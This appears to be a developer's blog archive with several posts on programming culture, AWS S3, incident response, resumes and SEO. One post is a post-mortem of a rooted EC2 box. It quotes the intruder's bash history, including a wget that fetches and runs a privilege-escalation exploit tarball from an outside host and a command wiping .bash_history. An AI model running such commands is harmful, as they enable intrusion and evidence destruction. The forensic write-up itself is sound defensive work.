This might be where frameworks like Django and Ruby on Rails come into play.  They allow you to make what you want, without the crap.  When you have an idea, you can make it.  You can express your ideas quickly and easily.  You don’t worry about design patterns, because it’s all there for you.  All that’s left to you is to “paint the picture”.  Just hack it out, it doesn’t matter what the code looks like.  Take a look at the most “artistic” programmers out there — the hax0rs of the world.  Many of them are absolutely brilliant… but you wouldn’t think so in looking at their code.  Heck, most of them don’t program object-orientedly — a must in the business world.  They hack out a script that just does the job, and nothing more.  I wouldn’t say that’s a bad thing.  It does what it’s supposed to.  What more is needed?

At any rate, I think that the longer I’m a programmer by profession, the further I get away artistic expression in programming.  While I don’t think that “hacking out a solution” is a good idea for a business, I still think programmers need to do the quick hacks on their own, and make some that actually *does* something, with minimal effort.  I want to be like Billy Joel when I get old and still be killing it when I’m 60, or be like one of my personal heroes, Woz.  I don’t have the answer for how to get an old-timer like myself excited about that kind of thing, but when you figure it out let me know.

Flash forward to today.  I got on my box to do some maintenance, and saw the following warning:

~/tmp$ ls
> ls: unrecognized prefix: do
> ls: unparsable value for LS_COLORS environment variable.

“Well that’s weird”, I thought to myself.  I googled around the internet, and came to the conclusion I’d been rooted.  Turns out, I was right.

Mistake #1

Now comes the fun part of all of these.  I had to track down just *how* it happened.  First thing that I did was went to /var/log/auth.log.  I see brute force attacks all the time, and it totally fills up the logs, so I went to when made the most sense — around the time the site when down.  That’s when I noticed this entry:

Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: Accepted password for deploy from 92.82.99.209 port 2608 ssh2
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: pam_unix(sshd:session): session opened for user deploy by (uid=0)

*slap*

I had forgotten I created a mostly temporary user named “deploy” with a weak password (umm… “deploy”).  I thought it would be ok since that user had very little permissions — files I didn’t care about, no sudo access, etc.  Boy, was I wrong.  Which brings me to…

Mistake #2

Everyone always says keep your system up to date.  I also think it’s a good practice.  But do I?  Of course not.  I was using an outdated (non-updated) version of Ubuntu 8.10.  Put yourself in the hax0rs shoes: if you were breaking into a box, had user access, the os was out of date, and you wanted root, how would you do it?  A rootkit, of course!  And that’s exactly what happened…

w
uname -a
id
sudo su
ls -a
cat .bash_history
cat /proc/cpuinfo
cat /etc/issue
cat /etc/hosts
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
ls -a
rm -rf .bash_history
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
sudo su -

A little sidenote… if he removed the bash_history, how did I get this command history?  Look closely… whatever script it was, it “cd”ed into the linux-sendpage3 directory before it rm’ed the bash_history.  Sucka .  Anyways, there’s the rootkit, and him logging in as root with “sudo su -”.

He was root.  OMG!

The next part seems kind of fuzzy to me as to what he did.  I didn’t have any logs (root’s bash_history was clean), and there were no logs anywhere else on the system.  What I did have was one thing: ls was acting funky.  Surely he replaced it, so at least it would be a start.  Upon further inspection, it was owned by the user 122, and group messagebus.  Well, at least that’s a start!

root@ip-10-251-69-178:~/bin# find / -user 122
/usr/bin/pstree
/usr/bin/top
/usr/bin/md5sum
/usr/bin/find
/bin/ps
/bin/ls
/bin/netstat
/sbin/ttyload
/sbin/ttymon
/sbin/ifconfig

It looks like he changed a bunch of important files here, he certainly didn’t want me snooping into what he was doing.  Those modifications hid all the files and processes he was using, of course.  So my next step was to restore those files so I could dig deeper into what was going on.  With EC2, that’s a piece of cake — I fired up another Ubuntu 8.10 ami, and copied over the binaries.  Here’s where I got bottlenecked… I was getting some silly “Permission denied” error, even though I was root!  lsattr to the rescue.

root@ip-10-251-69-178:~/bin# lsattr /bin/ls
s---ia------------- /bin/ls

Super-secret permissions!  no!

root@ip-10-251-69-178:~/bin# chattr -sia /bin/ls; mv /tmp/ls.fix /bin/ls


Whew, that was a close one.

Next, I ran the ‘find’ command to see if other files had shown up, and indeed they did.  Two directories — “/usr/lib/libsh” and “/lib/libsh.so” were owned by this guy.  There were a few utility scripts in these directories to clean logs and such, and also some program named mirkforce — which looks like some irc bot.  So, all of this for some stupid script kiddie?  Augh, lame.

There were two other things that I got bored with and didn’t look into anymore — a crontab as root that executed “/dev/s/y2kupdate >/dev/null” every minute (thanks for keeping my computer updated), and some dbus process that hogged a bunch of resources.

At any rate, there were two things that came out of this:

1. Don’t use easy passwords.  Ever.
2. Keep your systems up-to-date.

I’m sure this entire thing was automated, so I didn’t fear stolen information so much (not that there was any to give).  He left all my data in place, so I just ditched the whole box, fired up another EC2 instance, and was running on a fresh install of Ubuntu 9.10 in about 10 minutes.  Amazon  Web Services win again!

Some coworkers and myself had a nice discussion over dinner tonight about how things have changed over time.  More particularly, we talked about the wildly popular game “Duck Hunt”.  Yes, the Nintendo one.  How in the world does that thing work?  After some discussion, Nate Brunson finally whipped out his iPhone and came across this article detailing how Duck Hung works.  It’s all pretty interesting stuff, and it was all done way before its day.

But Nintendo wasn’t Agile!

The thing is, if Nintendo were made in the “agile” world of today, would it have been released with Duck Hunt?  Would Duck Hunt ever had existed?  My inclination is no.  It would have been labeled as “too much scope for the first increment, we should release Mario Brothers, analyze the results, and go from there”.  Immediately following Mario Brothers, which would be a hit (obviously), they would follow up with Mario Bros 2, because hey, the first one did well.  After 2, the third increment would be… (surprise) Mario Bros 3.  Eventually the idea of Duck Hunt would have been forgotten.

If you want to change the world, don’t wait until the next increment

The point is that sometimes innovation comes at a cost.  You can’t always slim down functionality to meet a deadline, and still expect to be innovative.  If there is an incredible idea out there to be had, even if you’re not sure what kind of time it will take, resources need to be devoted, or even if it’s possible, you still need to just go for it.

Where did we go wrong?

Why are we so afraid to just get things done?  I personally thinks it comes down to people not wanting accountability, or they want to be absolutely positive that they can do what they say.  They are afraid to stretch themselves.  They really don’t care about being innovative.  They care about the business, about money, and about following a “standard procedure” or “following the most effective way of doing something”.  Seth Godin is very popular and incredibly successful because he gives people the magic formula to creating a good product.  The only problem is that he doesn’t do it for you.  I’m not saying processes are a bad thing, I’m just saying that eventually some crazy guy needs to sit down, do the impossible, and get it done.  Don’t believe me?  How about the names Steve Wozniak, Ed Logg, or Brad Fitzpatrick?  Chew on them apples….

I’ve had a lot of thought and conversation lately about how to stay motivated.  The fact is that we’re all human, and we all have ups and downs.  Even if your super-motivated about doing something one day, the next day you might not be.  I know I’ve had a lot of personal experiences where I get on a kick for a couple days, hammer out some code, then someone says “eh, that sucks”.  It’s a total downer!  Well, here are a few tactics you can try to stay motivated.

• Don’t listen to what other people say about your stuff, unless it will help make it better or point out an obvious flaw.
• Remember that if someone has feedback, that usually means you need to do something.
• If you work on something a while and become disinterested, keep what you’ve done around.  Who knows, you may pick it up and continue working on it several months down the road.
• Finish things through to completion

I think the last point is the most important.  As software developers, we become distracted very easily.  Often times we become to entranced by every new technology and every different way to do things that we don’t ever get a finished product.  The old tale that “an application is never finished” has put a bad taste in my mouth since the first time I heard it.  While there’s always room for improvement, finishing and releasing a product, and setting milestones for future work to be done is vital.  Working in bigger companies we sometimes forget that — that’s why there are project managers, product managers, etc etc.  We could learn a thing or two from those guys and apply it to our own side projects.

Aside from the “setting goals” part, most of the work happens within a very small timeframe.  It’s called being “in the zone”.  That’s the programmers time when you are completely focused on the task at hand, and cannot be distracted by anything.  This is the most important time to keep programming.  If you have to stay up all night, then  do it.  Here’s what Joel Spolsky (who I normally read for entertainment, not how to do my job – for another post… but this is good) has to say about being “in the zone”:

“Here’s the trouble. We all know that knowledge workers work best by getting into “flow”, also known as being “in the zone”, where they are fully concentrated on their work and fully tuned out of their environment. They lose track of time and produce great stuff through absolute concentration. This is when they get all of their productive work done. Writers, programmers, scientists, and even basketball players will tell you about being in the zone.

The trouble is, getting into “the zone” is not easy. When you try to measure it, it looks like it takes an average of 15 minutes to start working at maximum productivity. Sometimes, if you’re tired or have already done a lot of creative work that day, you just can’t get into the zone and you spend the rest of your work day fiddling around, reading the web, playing Tetris.”

If you only have time once a week to get “in the zone”, then plan it.  Turn off your cell phone, close your IMs, tell your wife you love her and won’t see her for bit, and set the expectation that, for example, every Thursday night you’ll be hacking away and completely unavailable.  Try to know what “business decisions”, or functionality you want to include beforehand.  I think about it when I’m trying to get to sleep at night, taking a shower, eating breakfast, whatever.  I try to write down what I think of the next chance I get.  But when it come to getting it done, that’s when that night of being alone is vital.

This was kind of a hacked out, not-completely-thought-out thought, I will hopefully try to organize it a bit better and follow up in another blog post, but this is just what I’ve been thinking about.  As always, your opinions and insights are appreciated, whether it’s through email or a comment.

Amazon Web Services Isn’t Just a Pie-In-The-Sky

The reason I bring this up is this — Amazon Web Services in the business (not startup) world is *still* considered a new, unproven technology.  And with all the marketing hype around clouds, infinitely scalable services, etc, etc, I honestly don’t blame them.  It hard to believe a pie-in-the-sky promise.  That’s just the point — AWS is not pie in the sky, and people that think it is need to dig deeper and understand what it is and what it offers.  The fact is that Amazon Web Services has been around since 2002, and has uptime that is most likely better than your data center.  Coincidentally, Amazon also knows this and is trying to eliminate the false perception that IT IS GOOD FOR YOUR COMPANY TO USE IT TOO.  They published this article, along with an updated cost calculator and an Excel spreadsheet to compare your datacenter with using AWS.

Backcountry.com and S3

Ok, so the real reason for this article.  At Backcountry.com, we try hard to stay as close as we can to the bleeding edge, but going into “the cloud” has always received serious backlash.  That is, until recently.  Earlier this month we took advantage of the cloud for the first time in a production environment: by using S3 for our “Jumbo” product images.

First, let me explain the reasons we decided to use S3.  Our webapp tier, consisting of a few boxes, hosts the Interchange e-commerce framework, and also contains all our static content.  The trouble was, the 900×900 images consumed about 100gb disk space, but each box only had less than 20gb left.  That left us with one of two traditional options: put new hard disks in each webapp, or use our NetApp to host the images from a single location.  Neither seemed ideal, since putting in new hard disks would be pricey and could take some time, and we were already short on NetApp space given the current budget.  I had done some side-work using S3, and mentioned it.   Chris Alef was able to push the decision as a great idea and it was agreed to do it.

Flash forward 1 week, and we were ready to go live.  We were able to convert and upload the 900×900 images to S3 over the weekend, and get the UI in place in no-time flat.  We have Akamai hosting edge cache in front of S3, and we had zero problems since launch last month.  I asked our operations team what they thought the bill for the month would be, and they guessed $4,000.  The actual bill?  Under $50.  Granted, Akamai probably took most of the traffic, but that’s still mighty impressive.

There’s so much more we can do with AWS, and I hope this is just the start.  I hope to be able to take advantage of other AWS services such as EC2 and SQS in the future, and I think S3 helped build confidence.  AWS is a service that can be relied on for both startups and established internet businesses alike.

A coworker of mine, Dustin McQuay, released the YUI Magnifier, a YUI implementation of other popular image zoom utilities.   We were actually surprised to see that nothing else like it already existed for YUI, so Dustin took the challenge of building his own, with the hopes that it might be included in other larger YUI libraries.

It boasts the features:

• Display a magnified portion of an image, which is controlled by where the mouse is hovering over the image
• Control over styling
• Control over location of magnification lens
• Magnified image can be wrapped by a larger element

Though the release wasn’t very public, it was still quite an accomplishment. It happens to be one of the first open-source releases from Backcountry.com (preceded to my knowledge by only Bucardo, a Postgres replication application written for Backcountry.com by Endpoint).  It was originally designed to be used for our 900×900 images, but got cut after development has essentially finished due to changed requirements.

It’s a pretty solid application, and hopefully the start of more open source to be coming out of Backcountry.com

The first practice I recommend you, and the one thing I hope you keep from the article, is this: keep track of what you do. Track everything. Track changes you make. Track decisions you made. Track data you have gathered, no-matter how irrelevant. Recently at Backcountry, we were troubleshooting a problem that involved nearly all aspects of our architecture — high load on databases, high load on webapps, traffic stays the same, 500 errors increased, people were losing sessions, traffic through the load balancer was inconsistent… but we couldn’t pinpoint the problem. Searching through the logs, there were no errors, only timeouts. No query locks in the database. We kept record of all that information, and tried to make correlations. We eventually came to a solution by putting the pieces (or what we tracked) together until it made sense. Then everything else falls into place. The end result was that, coincidentally, there were 2 major problems at once — Varnish was passing through a 500 error which happened to be an RSS feed (i.e. high traffic), and session databases were intermittently not allowing connections (for various reasons). If we didn’t record all the data, we couldn’t have made the connections.

The second practice I would recommend is to elect a “Call Leader” when responding to an emergency. This coordinator has a few roles: communicate with business owners periodically, keep track of what tasks people are working on, and make recommendations, in some some cases dictating, what actions are going to be taken.  A side-effect is that communication patterns within the team become explicit — techs looking into the problem know they need to communicate to the Call Lead, and the Call Lead needs to work with the techs.  This leave the rest of the team to concentrate on the problem at hand, and only their specific silo.  An example conversation among the team might go like this:

Tech 1: “I’m seeing some weird stuff in our Apache error logs, something about an error with connecting to session dbs.  I’d like to take a look at it.”

Call Lead: Ok, go ahead.

That’s all you need to communicate effectively.  But you’d be surprised at how many companies and teams don’t do this.  Having a Call Lead helps ease this transition.

Let me move on to another subject — the stages of an emergency.  One thing I’ve seen a lot of teams do is circle around a problem, jumping from one observation to the next, without ever remediating anything.  I’ve attempted to layout these stages so you know where you’re at in solving the problem so you know where you need to go next to get the problem fixed.  The five stages are: Reaction/Response, Collection/State What You Know, Discovery, Remediation, and Verification.

Reaction/Response

• Once you hear about the problem, whether it be nagios or the guy sitting next to you, make sure the problem is documented however way to document these things (Bugzilla, Jira, Google Doc, whatever).
• Dial into a phone conference, or join a chatroom, or do whatever you need to communicate with the other team members.
• Validate there is actually a problem.  You could waste expensive, valuable time by assuming the problem is larger than it actually is.
• Communicate outwardly that you are taking care of the problem
• Get ahold of ANYONE that should be there.  Don’t be afraid to call the CEO of the company if you need, the fact is that if the problem says more than X amount of time, the company will go under.
• Elect a Call Leader (discussed above)

This should take a maximum about 5 minutes.

Collection/State What You Know (SWYK)

• Have everyone on the call state what they know, documenting thoroughly.  Make sure you state what YOU know.
• Set a schedule or a plan of attack.
  

Discovery

• Call leader makes assignments (dependent on what people say, of course)
• Get a list of options/suggestions from techs working on the issue.
• Weigh options, and avoid “Analysis Paralysis”
  

Should take 5-30 minutes, sometimes more, sometimes less.

Remediation

• Call leader makes decision to do an option, and you execute on it.

Some notes about this one:

You can easily get yourself into a bind by making changes too rashly, and not thinking about the consequences.  I try to use the following principles:

• Rollback should always be an option.  Too many people are afraid to remove new functionality because of pride or whatever reason.  After a really, most often it’s the best solution to just roll back.
• When changing live-site behavior immediately, try to do it in a rolling fashion.  Restart servers one at a time when in a clustered environment.  When code changes are necessary, roll them to one server if possible to verify changes fix the problem.
  

Verification

Another often over-looked step in the process.  This is when the business verifies the problem as fixed — or there is no longer any customer impact.

There’s much more, so much that I could write a book on the subject, but I hope this is enough information to be helpful. I may dive deeper into the different roles and practices in another post, so keep checking back.  As always, I would love to hear feedback on the subject.

Distributed systems, enterprise-class, J2EE, loosely coupled, SOA, multi-tier, Agile, iterative development

I hear those words a lot.  Anyone could claim they have knowledge of them, but does that really matter?  A good majority of resumes and tons of job postings list them, but that says absolutely nothing about the competence of the individual.  Stop asking for these qualifications and stop putting them on your resume, they don’t mean anything.  Don’t put a goal toward becoming competent in these technologies, you will only fail at being a software engineer.

What about experience?

Yes, experience is important.  But what kind of experience?  Years?  Places work?  Size of the company worked?  Projects completed?  I wish I could come up with the equation, but I’m afraid I can’t.

The important part is to actually have something to show for your work.  Rather than saying “6+ years experience as a software developer in the e-commerce industry”, how about, “Designed and constructed a number of technologies powering the <company> shopping cart, order pipeline, customer self service, and product detail pages.”  Does that say a specific technology used?  No, but that doesn’t matter.  What you’ve done is said that you have done stuff what people want done.

So how do I know when I’m innovative?

Chances are you’re not innovate.  Sure, you’ve probably “architected a solution to meet business needs and delivered on time”, or “developed a framework to simplify development of Rich Internet Applications”, but what that really means is that you’ve “drawn an inheritance diagram, wrote the code and it works”, and “probably recreated a framework that already exists in the technology I’m using, and it’s still not as good”.  Ouch, that hurts doesn’t it.

Have no fear, these are things that are expected as a developer grows.  The hard part is breaking out of that and doing something that actually contributes value.  Let me give you an example.  Recently, Bespin, a web-based collaborative code editor has been in the news.  This is a very simple example of how to be innovative.  Although the project only appeals to a small amount of people, it suits a need that wasn’t there before.

It’s important to remember that projects like Bespin don’t appear out of this air.  It takes time to design and implement a solution (and we’re not talking just a few minutes whiteboarding either).  I’m not going to go into the details of how to create a solution like this, but if you don’t know and haven’t experienced it first-hand (you can’t tie your name to it), then you’re not innovative.

I’m not trying to hurt your feelings — I’m actually eating my own words as I type, but what I’m trying to say is that the characteristics of a great software developer focuses on what you’ve done, not how you’ve done it.  Just find something that interests you, stick and it, and you’d be surprised how far it will take you.

This is completely preposterous — think of the implications this would have, both on the user experience and on automated scripts. I was completely confused when I reached this — I was browsing the Google App Engine apps, and clicked on a mis-linked app, and was all of a sudden on a Qwest page.

The good news is: there is an opt out. Unfortunately, it’s hidden several layers deep in the UI. I recommend if you see this error message, you call Qwest and express to them your disapproval of this ’service’.

See the image for the search page after I had ‘opted out’, and the request was pending (which having that, in itself, is pretty lame)

Obscure Definition of Optimization

Nobody knows how Google, or any search engine for that matter, works. Nobody. This is why so many non-techy, quick-to-make-a-buck people are so quick to jump on it — they can say whatever they want, people will listen to them, and nobody can tell them for sure if they are wrong. This is the main reason why most SEO Optimization companies are a couple of ex-Radioshack salesmen, accompanied by their iPhone, attend small business conventions and conferences, suckering in the less tech-savvy SBO.

Non-measurable Results

Any un-accredited SEO firm won’t supply local businesses with the proper tools to analyze how much the SEO optimization really isn’t doing anything for them. With analytics tools such as Google Analytics available, small business owners can see just how much the SEO company really sucks at what they do, and how little difference they really make. SEO companies won’t even direct the SBO towards its presence.

Every Company Wants to Be Number One

This is probably the biggest reason why these companies are so successful — the average SBO wants to get traffic. To do that, they feel like they should be in the top results. However, they don’t feel like paid search is valuable, since it’s most often on a pay-per-click basis. They feel like a single, swift payment to ‘optimize’ their site will yield long-term benefit. After all, they’re paying for it. The fact is, it won’t. Web-based companies allocate vast amounts of resources to keep content fresh and clean. A small website for a local company simply can’t, and shouldn’t keep up. There will always be a place for them, but Amazon will always be in search results before Fred’s Corner Shop (unless, of course, Fred’s Corner Shop was web-based and allocated a lot of time and money toward becoming #1). The month or so (hah, why do they take a month?) that SEO Optimization companies work on a site just doesn’t provide enough to keep a site fresh for even a year.

So, I can’t provide rants without making a few suggestions the SBOs. Hire a kid out of high school, have him put up some meta keywords and description relevant to your site, and make sure links throughout your site have descriptive text instead of just ‘click here’. Also, talk to any business partners and get them to put a link to your site. Most importantly, put some CONTENT on your website. That’s it.

Keep in mind I’m not bagging on SEO for web-based companies. It really is important to make sure certain stuff happens like only one URL per page, rel=”nofollow” attributes are attached with valid links, page weight is low, have a siteindex, don’t have hidden elements with bogus content, [insert BS SEO optimization rule here...].